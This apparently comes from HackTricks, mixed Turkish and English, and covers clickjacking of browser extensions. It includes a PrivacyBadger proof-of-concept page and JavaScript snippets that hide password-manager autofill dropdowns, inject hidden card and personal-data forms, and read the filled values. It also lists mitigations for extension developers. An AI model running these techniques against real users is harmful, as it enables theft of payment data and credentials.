BrowExt - ClickJacking
Reading time: 9 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Basic Information
This page is going to abuse a ClickJacking vulnerability in a Browser extension.
If you don't know what ClickJacking is check:
Extensions contains the file manifest.json
and that JSON file has a field web_accessible_resources
. Here's what the Chrome docs say about it:
These resources would then be available in a webpage via the URL
chrome-extension://[PACKAGE ID]/[PATH]
, which can be generated with theextension.getURL method
. Allowlisted resources are served with appropriate CORS headers, so they're available via mechanisms like XHR.1
The web_accessible_resources
in a browser extension are not just accessible via the web; they also operate with the extension's inherent privileges. This means they have the capability to:
- Change the extension's state
- Load additional resources
- Interact with the browser to a certain extent
However, this feature presents a security risk. If a resource within web_accessible_resources
has any significant functionality, an attacker could potentially embed this resource into an external web page. Unsuspecting users visiting this page might inadvertently activate this embedded resource. Such activation could lead to unintended consequences, depending on the permissions and capabilities of the extension's resources.
PrivacyBadger Örneği
In the extension PrivacyBadger, a vulnerability was identified related to the skin/
directory being declared as web_accessible_resources
in the following manner (Check the original blog post):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Bu yapılandırma potansiyel bir güvenlik sorununa yol açtı. Özellikle, tarayıcıda PrivacyBadger simgesine etkileşimde bulunulduğunda render edilen skin/popup.html
dosyası bir iframe
içine gömülebiliyordu. Bu gömme, kullanıcıları istemeden "Disable PrivacyBadger for this Website" üzerine tıklamaya kandırmak için istismar edilebilirdi. Böyle bir eylem, kullanıcının gizliliğini PrivacyBadger korumasının devre dışı bırakılmasıyla tehlikeye atar ve kullanıcının artan takiplere maruz kalmasına neden olabilir. Bu exploit'in görsel bir demonstrasyonunu ClickJacking video örneğinde izleyebilirsiniz: https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
Bu güvenlik açığını ele almak için basit bir çözüm uygulandı: web_accessible_resources
listesinden /skin/*
kaldırıldı. Bu değişiklik, skin/
dizininin içeriğinin web_accessible_resources aracılığıyla erişilememesini veya manipüle edilememesini sağlayarak riski etkin şekilde azalttı.
Düzeltme basitti: /skin/*
'i web_accessible_resources
listesinden kaldırın.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Metamask Örneği
A blog post about a ClickJacking in metamask can be found here. Bu durumda, Metamask açığı erişimde kullanılan protokolün https:
veya http:
(örneğin chrome:
değil) olup olmadığını kontrol ederek düzeltti:
.png)
Another ClickJacking fixed in the Metamask extension was that users were able to Click to whitelist when a page was suspicious of being phishing because of “web_accessible_resources”: [“inpage.js”, “phishing.html”]
. Bu sayfa Clickjacking'e karşı savunmasız olduğundan, bir saldırgan kurbana fark ettirmeden beyaz listeye eklemesi için normal bir şey gösterip tıklamaya zorlayabilir ve sonra tekrar phishing sayfasına dönerek onun beyaz listeye alınmasını sağlayabilirdi.
Steam Inventory Helper Örneği
Check the following page to check how a XSS in a browser extension was chained with a ClickJacking vulnerability:
DOM-based Extension Clickjacking (Password Manager Autofill UIs)
Klasik extension clickjacking, yanlış yapılandırılmış web_accessible_resources
'ı kullanarak yetkili HTML'i iframe içine alır ve kullanıcı tıklamalarını yönlendirir. Daha yeni bir sınıf olan DOM-based extension clickjacking ise password manager'lar tarafından sayfa DOM'una enjekte edilen autofill açılır menülerini hedefler ve bunları etkileşime açık tutarak CSS/DOM hileleriyle gizler veya örter. Zorlanan tek bir tıklama saklı bir öğeyi seçebilir ve saldırgan kontrollü inputlara hassas veriler doldurabilir.
Tehdit modeli
- Saldırgan bir web sayfasını kontrol eder (veya ilgili bir etki alanında XSS/subdomain takeover/cache poisoning gerçekleştirir).
- Kurbanın bir password manager eklentisi yüklü ve unlocked durumdadır (bazı autofill'ler nominal olarak kilitli olsa bile çalışır).
- En az bir kullanıcı tıklaması zorlanır (üst üste bindirilmiş çerez banner'ları, diyaloglar, CAPTCHAs, oyunlar vb.).
Saldırı akışı (manuel autofill)
- Görünmez ancak odaklanabilir bir form enjekte et (login/PII/credit-card alanları).
- Alanın yanındaki eklentinin autofill açılır menüsünü çağırmak için bir inputa odaklan.
- Eklentinin UI'sını etkileşimli tutarken gizle veya ört.
- Gizli açılır menünün altına makul görünen bir kontrol hizala ve bir öğeyi seçmeye zorlayacak tıklamayı tetikle.
- Saldırgan formuna doldurulan değerleri oku ve exfiltrate et.
Autofill UI'sını gizleme yöntemleri
- Extension element
- Kök öğe opacity (generic):
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
- open ShadowRoot içindeki Child (dinamik tag, dahili iframe'i gizle):
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
- Üst öğe
- BODY/HTML opacity hileleri, sayfa normal görünürken uzantı UI'sını görünmez yapmak için (ör. ekran görüntüsü arka planı):
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'
// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'
function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
- Örtü
- Parçalı örtü: açılır menünün tıklanabilir kalması için birkaç piksel hariç her şeyi kapatın (saldırgan örtüsünün DOM'da en son ve en yüksek z-index'e sahip olduğundan emin olun veya Top Layer kullanın).
- pointer-events:none kullanarak tam örtü; böylece tıklamalar gizli açılır menüye geçer; Popover API ile bunu kalıcı tutun:
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>
Hedef tıklamanın konumlandırılması
- Fixed placement: gizli açılır menüyü “Çerezleri kabul et”, “Kapat” veya bir CAPTCHA onay kutusu gibi inandırıcı bir kontrolün altına yerleştirin.
- Follow-mouse: odaklanmış giriş alanını imlecin altına taşıyın, böylece açılır menü onu takip eder; periyodik olarak yeniden odaklayın ki herhangi bir yere tek tıklama bir öğeyi seçsin:
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})
Etki ve senaryolar
- Saldırgan-kontrolündeki site: zorla alınan tek bir tıklama, domain'e bağlı olmayan kredi kartı verilerini (numara/son kullanma tarihi/CVC) ve kişisel bilgileri (isim, e-posta, telefon, adres, DOB) dışarı çıkarabilir.
- Güvenilen site (XSS/subdomain takeover/cache poisoning durumunda): çoklu tıklama ile kimlik bilgileri (username/password) ve TOTP çalınabilir, çünkü birçok managers ilgili subdomain/parent domain'ler arasında autofill yapar (ör.,
*.example.com
). - Passkeys: eğer RP WebAuthn challenge'larını oturuma bağlamazsa, XSS imzalı assertion'ı yakalayabilir; DOM-based clickjacking passkey prompt'unu gizleyerek kullanıcının onay tıklamasını tetikler.
Sınırlamalar
- En az bir kullanıcı tıklaması ve iyi bir piksel hizalaması gerektirir (gerçekçi overlay'ler tıklamayı kolayca teşvik eder).
- Otomatik kilitleme/oturumu kapatma istismar penceresini azaltır; bazı managers “locked” durumdayken bile autofill yapmaya devam eder.
Uzantı geliştiricisi önlemleri
- Render autofill UI in the Top Layer (Popover API) veya farklı bir şekilde sayfa yığılmasının üstünde yer aldığından emin olun; page-controlled overlay'ler tarafından kaplanmaktan kaçının.
- CSS manipülasyonuna karşı direnin: Closed Shadow DOM'u tercih edin ve UI köklerinde şüpheli stil değişikliklerini izlemek için
MutationObserver
kullanın. - Doldurmadan önce düşmanca overlay'leri tespit edin: diğer top-layer/popover elemanlarını enumerate edin, geçici olarak
pointer-events:none
'u devre dışı bırakın ve örtüşmeyi tespit etmek içinelementsFromPoint()
kullanın; overlay'ler varsa UI'yı kapatın. - Render öncesi ve sonrası
<body>
/<html>
opacity veya stil değişikliklerini tespit edin. - iframe tabanlı sorunlar için: MV3
web_accessible_resources
matches
'i dar kapsamlı belirleyin ve HTML UI'larını açığa çıkarmaktan kaçının; kaçınılmaz HTML içinX-Frame-Options: DENY
veyaContent-Security-Policy: frame-ancestors 'none'
sağlayın.
Referanslar
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
- DOM-based Extension Clickjacking (marektoth.com)
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.